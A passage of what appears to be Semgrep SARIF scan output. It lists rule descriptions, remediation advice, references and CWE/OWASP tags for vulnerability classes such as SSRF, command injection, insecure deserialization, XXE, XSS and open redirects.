domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint","id":"rust.actix.ssrf.reqwest-taint.reqwest-taint","name":"rust.actix.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection","id":"yaml.github-actions.security.run-shell-injection.run-shell-injection","name":"yaml.github-actions.security.run-shell-injection.run-shell-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.run-shell-injection.run-shell-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","id":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","name":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","id":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","name":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","id":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","name":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal","id":"python.lang.deserialization.tainted-marshal.tainted-marshal","name":"python.lang.deserialization.tainted-marshal.tainted-marshal","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-marshal.tainted-marshal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","id":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","name":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"help":{"markdown":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public)\n - [https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html](https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html)\n","text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","id":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","name":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference](https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","id":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","name":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","id":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","name":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"help":{"markdown":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","id":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","name":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - 